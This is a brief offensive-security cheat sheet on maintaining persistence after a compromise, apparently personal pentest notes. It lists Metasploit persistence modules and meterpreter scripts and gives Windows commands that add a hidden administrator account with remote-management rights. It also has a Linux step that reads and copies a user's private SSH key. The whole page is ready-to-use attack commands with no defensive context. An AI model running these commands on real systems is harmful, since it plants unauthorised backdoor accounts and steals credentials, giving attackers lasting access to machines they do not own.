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# Persistence

## Windows Persistence

### Metasploit persistence script

```bash
exploit/windows/local/registry_persistence
exploit/windows/local/persistence
run persistence -h
run scheduleme
run schtaskabuse
```

### Manual persistence

Add a user

```powerquery
net user adot8 Password1 /add
net localgroup Administrators adot8 /add
net localgroup "Remote Management Users" adot8 /add
```

## Linux Persistence

Copy and save a copy of the ssh key

```
cat ~/.ssh/id_rsa
```

```
vim copy_id_rsa
chmod 600 copy_id_rsa
```